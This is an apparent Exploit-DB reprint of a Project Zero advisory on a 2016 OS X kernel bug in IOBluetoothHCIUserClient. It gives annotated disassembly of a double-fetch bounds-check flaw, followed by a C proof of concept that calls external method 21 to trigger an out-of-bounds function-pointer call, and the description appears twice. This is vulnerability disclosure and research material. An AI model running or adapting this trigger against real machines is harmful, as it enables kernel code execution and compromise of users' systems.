Apple Mac OSX - 'IOBluetoothHCIUserClient' Arbitrary Kernel Code Execution

EDB-ID:

39372




Platform:

OSX

Date:

2016-01-28


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/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300

/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}